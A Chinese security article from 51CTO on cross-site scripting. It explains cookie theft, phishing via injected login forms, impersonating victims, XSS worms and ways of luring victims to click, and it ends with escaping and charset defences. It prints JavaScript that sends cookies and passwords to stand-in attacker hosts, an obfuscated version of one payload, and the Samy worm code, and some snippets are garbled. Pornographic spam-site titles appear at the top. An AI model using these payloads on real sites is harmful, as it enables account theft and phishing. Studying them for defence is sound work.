偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

跨站腳本攻擊深入解析:跨站危害及cookie盜竊

原創(chuàng)
安全 應(yīng)用安全
本文將詳細(xì)介紹跨站腳本的危害,以及攻擊者是如何誘騙受害者的;最后介紹針對跨站腳本攻擊的防御措施。

【51CTO.COM 獨家特稿,轉(zhuǎn)載請注明出處及作者】跨站腳本的名稱源自于這樣一個事實,即一個Web 站點(或者人)可以把他們的選擇的代碼越過安全邊界線注射到另一個不同的、有漏洞的Web 站點中。當(dāng)這些注入的代碼作為目標(biāo)站點的代碼在受害者的瀏覽器中執(zhí)行時,攻擊者就能竊取相應(yīng)的敏感數(shù)據(jù),并強迫用戶做一些用戶非本意的事情。

在本文的上篇中,我們詳細(xì)介紹了跨站腳本漏洞利用的過程,并對HTML注入進(jìn)行深入分析;而本文將詳細(xì)介紹跨站腳本的危害,以及攻擊者是如何誘騙受害者的;最后介紹針對跨站腳本攻擊的防御措施。

一、跨站腳本的危害

XSS是一種對Web應(yīng)用程序的用戶發(fā)動的攻擊,利用它攻擊者能裝扮成被攻擊的用戶來完全控制Web應(yīng)用程序,即便Web應(yīng)用程序位于一個防火墻之后并且攻擊者無法直接接觸該Web應(yīng)用程序也是如此。XSS一般不會對用戶的機器造成損害,也不會對Web應(yīng)用程序服務(wù)器直接造成破壞。如果成功,攻擊者可以做三種事情:

竊取Cookie

在受害用戶面前假冒成Web應(yīng)用程序

在Web應(yīng)用程序面前假冒成受害用戶

二、竊取Cookie

Cookie一般控制著對Web應(yīng)用程序的訪問,如果攻擊者偷竊了受害用戶的Cookie,那么攻擊者就可以使用受害者的Cookie來完全控制受害者的帳戶。對于Cookie來說,其最佳實踐就是讓它在一段時間后過期,這樣的話攻擊者就只能在有限的時間內(nèi)訪問受害者的帳戶??梢岳孟旅娴拇a來竊取Cookie:

var x=new Image();x.src='http://attackerssite.com/eatMoreCookies?c='

+document.cookie;

或者像下面這樣:

document.write("〈 img src='http://attackerssite.com/eatMoreCookies"+

"?c="+document.cookie+"'〉");

如果某些字符是禁止的,則將其轉(zhuǎn)換為ASCII的十進(jìn)制數(shù),然后使用JavaScript的String.charFromCode()函數(shù)即可。下列JavaScript等價于前面的JavaScript:

eval(String.charFromCode(118,97,114,32,120,61,110,101,119,32,73,109,

97,103,101,40,41,59,120,46,115,114,99,61,39,104,116,116,112,58,47,47,

97,116,116,97,99,107,101,114,115,115,105,116,101,46,99,111,109,47,

101,97,116,77,111,114,101,67,111,111,107,105,101,115,63,99,61,39,43,

100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59));

三、釣魚攻擊

通過假冒Web應(yīng)用程序,攻擊者可以將XSS用于社會工程。XSS攻擊得手后,攻擊者能夠完全控制Web應(yīng)用程序的外觀。這可用于丑化web,例如攻擊者在頁面上放置一個無聊的圖片。適于打印的常見圖像之一是Stall0wn3d,即你被黑了。

下面是用于這種攻擊的HTML注入字符串:

〈script〉document.body.innerHTML="〈img

src=http://evil.org/stallown3d.jpg〉";〈/script〉.

然而,控制Web應(yīng)用程序呈現(xiàn)在受害用戶面前的外觀比簡單顯示一些火辣熱圖更為有利,攻擊者可以以此發(fā)動釣魚攻擊:強制用戶向攻擊者提供機密信息。利用document.body.innerHTML,可以提供一個跟有弱點的Web應(yīng)用程序的登錄頁面外觀完全一樣的登錄頁面,并且該登錄頁面來自那個被注入HTML的域,但是提交表單時,數(shù)據(jù)卻發(fā)往攻擊者選擇的站點。

因此,當(dāng)受害用戶輸入他的或者她的用戶名和口令時,這些信息就會落入攻擊者手中。代碼如下所示:

document.body.innerHTML="〈 h1 〉Company Login〈 / h1〉〈form

action=http://evil.org/grabPasswords method=get〉

〈p〉User name:〈input type=text name=u〉〈p〉Password〈input type=password

name=p〉〈input type=submit name=login〉〈/form〉";

使用這段代碼的一個小技巧是通過一個GET請求發(fā)送表單。這樣,攻擊者甚至不必編寫grabPasswords頁面,因為該請求將寫到Web服務(wù)器的錯誤信息日志里,這里的信息可以輕松讀取。

四、冒充受害者胡作非為

XSS對Web應(yīng)用程序最大的影響在于,黑客能夠通過它假冒成Web應(yīng)用程序的合法用戶。下面是一些攻擊者能夠?qū)eb應(yīng)用程序做的一些事情:
在一個webmail應(yīng)用程序中,攻擊者可以:

以用戶的名義發(fā)送電子郵件

獲取用戶的聯(lián)系人名單

更改自動BCC屬性

更改隱私/日志記錄設(shè)置

在基于 Web 的即時通訊或聊天軟件中,攻擊者可以:

獲取聯(lián)系人名單

向聯(lián)系人發(fā)送消息

添加/刪除聯(lián)系人

在一個基于 Web 的網(wǎng)絡(luò)銀行或金融系統(tǒng)中,攻擊者能夠:

劃拔資金

申請信用卡

更改地址

在電子商務(wù)系統(tǒng)上,攻擊者能夠:

購買商品

每當(dāng)分析XSS對站點的影響時,想一想如果他控制了受害者的鼠標(biāo)和鍵盤能干什么就行了??紤]一下受害者的內(nèi)部網(wǎng)中的受害者的計算機能做哪些壞事。要想假冒成用戶,攻擊者需要弄清Web應(yīng)用程序是如何工作的。有時候,可以通過閱讀頁面源代碼來達(dá)此目的,但是最好的方法是使用一個Web代理,例如Burp Suite、WebScarab或者Paros Proxy等。

這些web 代理會攔截往返于Web 瀏覽器和Web服務(wù)器之間的所有通信數(shù)據(jù),甚至包括通過HTTPS傳輸?shù)牧髁?。您可以記錄這些會話以弄明白Web應(yīng)用程序是向服務(wù)器發(fā)送回數(shù)據(jù)的。 這對于弄清楚如何假冒成該應(yīng)用程序非常有幫助,此外,web 代理對于發(fā)現(xiàn)XSS及其他Web應(yīng)用程序漏洞也有極大的幫助。#p#

五、XSS蠕蟲

一直在線的Web應(yīng)用程序,諸如webmail、社交網(wǎng)絡(luò)、聊天室、在線多人游戲、在線賭場或者一切需要用戶交互以及需要在用戶間相互發(fā)送某種形式信息的Web應(yīng)用程序,都容易受到XSS蠕蟲的攻擊。XSS蠕蟲充分地利用了Web應(yīng)用程序的特性來自我傳播。例如,Webmail應(yīng)用中的XSS蠕蟲利用了攻擊者能夠捕獲受害者的聯(lián)系人名單與發(fā)送電子郵件的事實。

當(dāng)受害者點擊了指向HTML注入的鏈接時,XSS就會被激活,由此觸發(fā)腳本的執(zhí)行。 腳本將搜索受害者的聯(lián)系人名單,然后發(fā)送電子郵件到受害者的聯(lián)系人名單中的每個聯(lián)系人。每個聯(lián)系人將收到一封來自有信譽的發(fā)件人(受害者)的電子郵件,該郵件會邀請聯(lián)系人單擊一些鏈接。一旦他單擊了該鏈接,這個聯(lián)系人就會變成了另一個受害者,然后他的聯(lián)系人也會收到他的來信。

XSS蠕蟲以極快的速度繁衍,能夠在短期內(nèi)感染許多用戶,并引起大量的網(wǎng)絡(luò)流量。對于傳播其它攻擊諸如釣魚攻擊等,非常有效。更為有趣的是,攻擊者有時候會向Web應(yīng)用程序添加隱藏的HTML 內(nèi)容以便對瀏覽器發(fā)動多種攻擊。如果用戶運行的Web 瀏覽器不是最新的,攻擊者就能夠完全控制用戶的機器。本例中,XSS用來傳遞某些其他弱點。

上面部分介紹了跨站腳本的危害,下面介紹攻擊者是如何誘騙受害者的。

六、誘捕受害者

現(xiàn)在,我們已經(jīng)知道如何尋找HTML注入點,以及如果攻擊者能夠使用戶單擊指向注入的HTML的鏈接的話,他能夠做哪些事情。有時候,注入的HTML會在正常的用戶交互過程中被激活。也就是說,有許多有效的方法。然而,通常情況下攻擊者必須使用戶單擊了指向注入的HTML代碼的鏈接才能激活攻擊過程。本節(jié)簡要討論如何促使受害者去單擊一個鏈接。

現(xiàn)在假設(shè)您就是攻擊者。如果您發(fā)現(xiàn)可以在http://search.engine.com/search?p= 注入HTML,并且在http://evil.org/e.js處設(shè)計了一個惡意的腳本。 現(xiàn)在,你只要設(shè)法讓人們點擊下列鏈接就行了:

http://search.engine.com/search?p=

但是,究竟會有多少人會點擊上述的鏈接呢?對電腦知識稍有了解的用戶一眼就能看出點擊上述鏈接肯定不會有好事。因此,攻擊者需要給這個鏈接化化妝,然后引誘用戶單擊一些更誘人的東西。

七、隱蔽指向注入的HTML的鏈接

可以用不同的方法來隱蔽鏈接,例如通過anchor標(biāo)簽、使用URL縮短技術(shù)站點、博客以及為攻擊者所控制的網(wǎng)站等。

第一個建議十分簡單,大多數(shù)Web應(yīng)用程序會自動在URL周圍封裝上錨標(biāo)簽以便于用戶跟隨鏈接。如果攻擊者可以寫入他自己的超鏈接,諸如在一個webmail應(yīng)用程序中,那么攻擊者就能夠構(gòu)造一個如下所示的鏈接:

http://goodsite.com/cuteKittens.jpg

這個鏈接會作為http://goodsite.com/cuteKittens.jpg出現(xiàn),然而,當(dāng)受害者點擊這個鏈接時,將被帶至注入的HTML(即實際上點擊的是攻擊者注入的HTML)。

用于縮短URL的Web應(yīng)用程序,諸如TinyURL、YATUC、ipulink.com、get-shorty.com(以及所有實現(xiàn)get-shorty功能的網(wǎng)站)等等,都能把冗長的URL轉(zhuǎn)換成簡短的URL。這些站點都是通過將URL映射到一個較短的URL,而較短的URL又重定向到一個長URL來實現(xiàn)的。

由于使用了較短的URL把冗長的URL隱藏了起來,這樣就更容易獲取人們(甚至一些老道的計算機用戶)的信任,從而單擊惡意鏈接,例如,對于下面這個容易露餡的HTML注入:

http://search.engine.com/search?p=

我們可以把它映射成一個單獨的URL,如下所示:

http://tinyurl.com/2optv9

目前,就算是警惕性很高的計算機用戶也很少有人知道類似的TinyURL的提供URL縮短服務(wù)的站點。這樣,我們可以通過不太流行的提供URL縮短技術(shù)的Web應(yīng)用程序獲取更多有經(jīng)驗的計算機用戶的信任,從而使他們?nèi)ズ翢o疑慮的點擊我們的鏈接;此外,我們也可以創(chuàng)建自己的web頁面,并在其中放入下列內(nèi)容:

注意,document.location的字符串中的標(biāo)簽在上述JavaScript被執(zhí)行之前是作為HTML出現(xiàn)的。對于POST方式的HTML注入,您可以編寫下面的代碼:

〈html〉
〈body〉
〈!-- something distracting like a cute kitten --〉
〈img src=cuteKitten.jpg〉
〈!-- and some HTML injection --〉
〈form action="name="evilForm"〉
〈input type="hidden" name="p" value="〈script〉a_lert(1)〈/script〉"〉
〈/form〉
〈script〉
document.evilForm.submit()
〈/script〉
〈/body〉
〈/html〉

現(xiàn)在,把上述代碼放到您自己的Web站點或者blog中——如果沒有的話,現(xiàn)在有許多免費的Web站點以及blog托管站點可用。
一種不錯的隱蔽技術(shù)是濫用IE的MIME類型不匹配問題。例如,創(chuàng)建一個文本文件,將其命名為cuteKitten.jpg,然后放入下列內(nèi)容:

〈iframe style="display:none"
src="
〈img src="someCuteKitten.jpg"〉

上載cuteKitten.jpg,例如放到http://somwhere.com/cuteKitten.jpg。當(dāng)用戶點擊該鏈接時,IE會認(rèn)出cuteKitten.jpg根本就不是一張圖像,所以它繼而將其作為HTML進(jìn)行解釋。這樣在顯示圖像someCuteKitten.jpg的時候?qū)嶋H上會在后臺利用一個注入的HTML代碼。

最后,攻擊者只要注冊一個聽起來很正規(guī)的域名并且將該html注入寄放在該域名中即可。例如,googlesecured.com就是一個看上去很真可信的域名。

八、促使用戶單擊注入的HTML代碼

利用“免費色情圖片”以及“偉哥甩賣”來引誘別人已經(jīng)成為過去,現(xiàn)在,攻擊者通常會促使用戶去做一些普通大眾經(jīng)常做的事情,諸如單擊一個新聞鏈接、欣賞一副可愛的小貓的圖片等等,當(dāng)然使用的方法在前面我們已經(jīng)說過了。

例如,快到情人節(jié)了,大多數(shù)年輕人都希望給愛人一個驚喜。攻擊者就會考慮利用“閱讀本文以了解如何您的愛人一個與眾不同的情人節(jié)”之類的文字來誘惑用戶單擊鏈接。借助于XSS蠕蟲,如果人們看到這封郵件來自其好友的話,那么人們會毫不猶豫地點擊它。

然而,攻擊者放入的文字越多,越容易引起潛在受害者的疑慮?,F(xiàn)今,最有效的信件應(yīng)當(dāng)只發(fā)給潛在的受害者一個鏈接,而根本不附加任何文字。好奇是人類的本性,在這種強烈的本能的驅(qū)使下,點擊該鏈接將大有人在。

至此,攻擊手法的介紹已經(jīng)告一段落,下面開始簡要介紹針對跨站腳本攻擊的防御措施。

九、防御跨站點腳本攻擊

為了防御XSS攻擊,開發(fā)人員必須謹(jǐn)慎處理由用戶提供的并且又反過來提供給用戶的那些數(shù)據(jù)。這里所說的“用戶提供的數(shù)據(jù)”應(yīng)該定義為所有從外部網(wǎng)絡(luò)連接發(fā)送給Web應(yīng)用程序的那些數(shù)據(jù)。

它可以是登錄時用HTML表單提交的用戶名,一個后臺的Ajax請求、一封電子郵件、乃至http報頭。要把所有這些數(shù)據(jù)都看作是從外部網(wǎng)絡(luò)連接進(jìn)入Web應(yīng)用程序的有潛在危險的數(shù)據(jù)。

對于所有由用戶提供的隨后又通過HTTP應(yīng)答(諸如Web頁面以及AJAX響應(yīng)(HTTP響應(yīng)碼200)、頁面未找到錯誤(HTTP響應(yīng)碼404)、服務(wù)器錯誤(類似的HTTP 響應(yīng)碼502)、重定向(例如HTTP 響應(yīng)碼302,等等)回顯給用戶的那些數(shù)據(jù),開發(fā)人員必須采取下列措施之一:

對數(shù)據(jù)進(jìn)行正確地轉(zhuǎn)義處理,以保證它們不會被解釋為HTML代碼(對瀏覽器而言)或者XML代碼(對Flash而言)。

刪除會被惡意使用的字符串或者字符

一般情況下,刪除一些字符會對用戶體驗造成影響,舉例來說,如果開發(fā)人員刪除了上撇號(’),那么對某些人來說就會帶來不便,如姓氏中帶有撇號的人,他們的姓氏就無法正常顯示。同時,嚴(yán)禁開發(fā)人員刪除字符串,因為完全可以通過許多不同的形式來表示字符串。應(yīng)用程序和瀏覽器會對字符串作出不同的解釋。例如,SAMY蠕蟲利用了IE不把換行符作為定界符字符這一事實,因此,IE看來JavaScript和jav%0dascr%0dipt是一回事。遺憾的是,MySpace把換行符解釋為字的分界符號,并允許將向Samy(及其他人)的MySpace頁面中放入下列內(nèi)容:

〈 div id="mycode" expr="a_lert('1')" style="background:url('java

script:eval(document.all.mycode.expr)')"〉〈/div〉

我們建議對所有用戶提供的又被發(fā)回給Web瀏覽器的數(shù)據(jù)都進(jìn)行轉(zhuǎn)義處理,包括AJAX調(diào)用、移動式應(yīng)用、Web頁面、重定向等等內(nèi)的數(shù)據(jù)。然而,對字符串進(jìn)行轉(zhuǎn)義處理并不是我們想得那么簡單:您必須根據(jù)用戶提供的數(shù)據(jù)將被放到HTTP應(yīng)答中的具體位置來決定使用URL編碼、HTML實體編碼或者JavaScript編碼進(jìn)行轉(zhuǎn)義。

十、防范基于UTF-7的XSS

基于UTF-7的攻擊是很容易防范的,只要強制指定在HTTP報頭中的或者HTML響應(yīng)內(nèi)部的字符編碼即可。我們建議對默認(rèn)HTTP報頭做如下設(shè)置:

Content-Type: text ml; charset=utf-8

還應(yīng)當(dāng)對全部HTML響應(yīng)添加下列限制:

< meta http-equiv="Content-Type" content="text ml;charset=utf-8" >

十一、結(jié)束語

在瀏覽器中已經(jīng)建立了一些安全措施——即同源策略和Cookie安全模型。此外,一些瀏覽器插件,諸如Flash Player、Outlook Express 以及Acrobat Reader等,帶來了更多的安全問題和安全措施。然而,如果攻擊者可以強迫用戶執(zhí)行源自特定域的JavaScript的話,這些額外的安全措施總是傾向于削弱同源策略的力量。

跨站點腳本攻擊(XSS)技術(shù)能夠強迫用戶執(zhí)行攻擊者以受害者名義在某個域上選擇的腳本,如JavaScript、VBScript、ActionScript,等等。XSS要求某個域上的Web應(yīng)用程序能夠提供(即供應(yīng)、返回)被攻擊者所控制的字符。因此,攻擊者可以向頁面注入代碼,而這些代碼將來會在這個有弱點的域的上下文中執(zhí)行。本文詳細(xì)介紹跨站腳本的危害,以及攻擊者是如何誘騙受害者的。最后介紹針對跨站腳本攻擊的防御措施。至此,讀者已經(jīng)能夠?qū)缯灸_本攻擊有一個全面深入的了解了。

 

責(zé)任編輯:安泉 來源: 51CTO.com
相關(guān)推薦

2010-06-07 20:19:49

2010-09-27 17:37:10

2009-03-09 12:37:48

2012-11-15 09:51:36

2009-02-24 17:19:38

2013-01-11 17:33:46

2010-06-30 16:26:05

2010-09-10 10:57:33

2010-09-10 14:13:11

2010-09-09 11:19:10

2017-06-14 16:08:31

2020-12-21 09:40:06

腳本攻擊XSS漏洞

2015-02-01 09:26:10

2012-04-12 14:45:13

2009-05-04 16:09:04

2022-08-12 07:01:00

Node.jsXSS腳本

2010-09-10 09:18:51

2012-11-09 15:42:44

2009-10-25 14:09:06

2009-10-23 13:08:23

點贊
收藏

51CTO技術(shù)棧公眾號